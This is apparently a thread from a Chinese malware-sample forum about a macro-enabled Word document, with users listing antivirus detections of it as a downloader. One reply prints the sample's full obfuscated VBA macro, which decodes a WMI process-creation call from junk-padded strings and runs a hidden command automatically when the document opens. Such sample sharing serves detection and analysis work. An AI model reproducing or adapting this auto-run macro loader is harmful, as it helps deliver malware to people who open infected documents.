#Macro enabled text document# （2020-8-19）

显示全部楼层 · 发表于 2020-8-19 12:25:21

Avira高启发监控KILL

VBA/Dldr.Agent.ulyfz

显示全部楼层 · 发表于 2020-8-19 12:33:57

诺顿

文件名: Form - Aug 13_ 2020.doc
威胁名称: ISB.Downloader!gen411

显示全部楼层 · 发表于 2020-8-19 13:49:44

显示全部楼层 · 发表于 2020-8-19 20:26:18

火绒miss了这个我没设置好么

显示全部楼层 · 发表于 2020-8-19 21:33:49

非正规ID 发表于 2020-8-19 20:26
火绒miss了这个我没设置好么

这是样本的两组宏代码

Function IMDJUpaeopphltw()
NINEDrrlcnonxg = GVNCMjuwrsfqdhfvrt.Zoom
Dim EWtaT3�EfeU As Integer
EWtaT3�EfeU = 9
Do While EWtaT3�EfeU < 9 + 4
EWtaT3�EfeU = EWtaT3�EfeU + 6: DoEvents
Loop
BDLTVgidtlppbf = ChrW(NINEDrrlcnonxg + (100 + 35) / 9)
Dim WHEWC0�GtsV As String
WHEWC0�GtsV = Trim$("NZtncF7�")
GSBAGyjqcarlijtzov = "832[sahj hui12t7gGG7&^6272 gasg671832[sahj hui12t7gGG7&^6272 gasg671w832[sahj hui12t7gGG7&^6272 gasg671i832[sahj hui12t7gGG7&^6272 gasg671nm832[sahj hui12t7gGG7&^6272 gasg671832[sahj hui12t7gGG7&^6272 gasg671gm832[sahj hui12t7gGG7&^6272 gasg671t832[sahj hui12t7gGG7&^6272 gasg671832[sahj hui12t7gGG7&^6272 gasg671" + BDLTVgidtlppbf + "832[sahj hui12t7gGG7&^6272 gasg671832[sahj hui12t7gGG7&^6272 gasg671:832[sahj hui12t7gGG7&^6272 gasg671w832[sahj hui12t7gGG7&^6272 gasg671in832[sahj hui12t7gGG7&^6272 gasg671832[sahj hui12t7gGG7&^6272 gasg6713832[sahj hui12t7gGG7&^6272 gasg6712832[sahj hui12t7gGG7&^6272 gasg671_832[sahj hui12t7gGG7&^6272 gasg671" + GVNCMjuwrsfqdhfvrt.VNMSCbhkbswxd + "832[sahj hui12t7gGG7&^6272 gasg671ro832[sahj hui12t7gGG7&^6272 gasg671832[sahj hui12t7gGG7&^6272 gasg671ce832[sahj hui12t7gGG7&^6272 gasg671s832[sahj hui12t7gGG7&^6272 gasg671s832[sahj hui12t7gGG7&^6272 gasg671"
Dim Xw3�8�Ky1�w As Byte
JTRGZuudmaoe = LJZNQeocxzskhgk(GSBAGyjqcarlijtzov)
Dim KUm3Y4�w0�A As Integer
KUm3Y4�w0�A = 4
Do While KUm3Y4�w0�A < 4 + 8
KUm3Y4�w0�A = KUm3Y4�w0�A + 8: DoEvents
Loop
Set XELFNsanjmetbgvs = CreateObject(JTRGZuudmaoe)
Dim QXD As String
QXD = Trim$("DHBnPjfiN")
SFFGKnkzerisyyxloed = GVNCMjuwrsfqdhfvrt.YUJPTwbpnlntxrvohod.ControlTipText
Dim m1�kpiV8�N As Variant
MBDSHnxlzsgukznbr = SOJSRvsicutkiygw + (JTRGZuudmaoe + BDLTVgidtlppbf + GVNCMjuwrsfqdhfvrt.FZYKUjobbfsndyy.ControlTipText + SFFGKnkzerisyyxloed)
Dim gs2�gnTcKiQ As String
YRAEKhnpdofs = MBDSHnxlzsgukznbr + GVNCMjuwrsfqdhfvrt.VNMSCbhkbswxd
Dim N0�Pb8� As Double
Set DYWLWkdanjkucwoh = HAMVVfxmbsedquponf(YRAEKhnpdofs)
Dim GqCGSFodc As String
GqCGSFodc = Trim$("Mv1�f8�oY4�")
LHNTPvakhsrbzzlo = Array(GXEKFlkuwnam + "CUKLXkcvdtjhkda DVIWGsjsdfwdzs ZXWPXqocblhdev", XELFNsanjmetbgvs. _
Create(HHBPMawuqhwypo, VHKNTrsqekls, DYWLWkdanjkucwoh), ROYWKkjknncqot + "KYPEXakotlyqgg FLXGKmmlstlshuhxe")
Dim ZWpUHiEAD As String
ZWpUHiEAD = Trim$("VabiuX")
End Function
Function HAMVVfxmbsedquponf(APCZVessorwgiiclkvk)
Set HAMVVfxmbsedquponf = CreateObject(APCZVessorwgiiclkvk)
Dim yllcsJLnKV As Integer
yllcsJLnKV = 9
Do While yllcsJLnKV < 9 + 5
yllcsJLnKV = yllcsJLnKV + 1: DoEvents
Loop
HAMVVfxmbsedquponf. _
showwindow = LGFVGuhhafllucdwirs + IUXNWlmiculntr
Dim a4�g As Object
End Function
Function LJZNQeocxzskhgk(WIMPPhqhyyiiuo)
IGUZVdybluwpxheflc = WIMPPhqhyyiiuo
Dim nGcyUDpZ As Byte
BRRDNiufmwunj = Split _
(IGUZVdybluwpxheflc, "832[sahj hui12t7gGG7&^6272 gasg671")
Dim EA4�DwC5�rtA As Double
TDQUBtrdlaref = ALKEDzdmhahzipllpe + Join(BRRDNiufmwunj, QRIRYviyeguxrcickym)
Dim C7�Yg As String
C7�Yg = Trim$("nCtJBfnGcy")
LJZNQeocxzskhgk = TDQUBtrdlaref
Dim kFPSyh As Object
End Function
Function HHBPMawuqhwypo()
Dim ctRwWF As String
ctRwWF = Trim$("dJSt4�f")
Dim Hd2EFS7�2�e As String
Hd2EFS7�2�e = Trim$("X8�CfRdv")
Dim gbdGcnr As String
gbdGcnr = Trim$("kYI")
LJDODikarcwpjfelr = GVNCMjuwrsfqdhfvrt.TGYNXmnrevkohuwrk.Pages(vbOK).Tag
Dim AhGo2�Y3�bo As String
AhGo2�Y3�bo = Trim$("yo3�dOZdWK")
HHBPMawuqhwypo = LJZNQeocxzskhgk(LJDODikarcwpjfelr)
Dim B0�jUg As Integer
B0�jUg = 9
Do While B0�jUg < 9 + 1
B0�jUg = B0�jUg + 1: DoEvents
Loop
End Function

复制代码

Private Sub _
Document_open()
GVNCMjuwrsfqdhfvrt.IMDJUpaeopphltw
End Sub

复制代码

一般打开都会报错，但其实已经感染了

[病毒样本] #Macro enabled text document# （2020-8-19）

本帖子中包含更多资源

本帖子中包含更多资源

浏览过的版块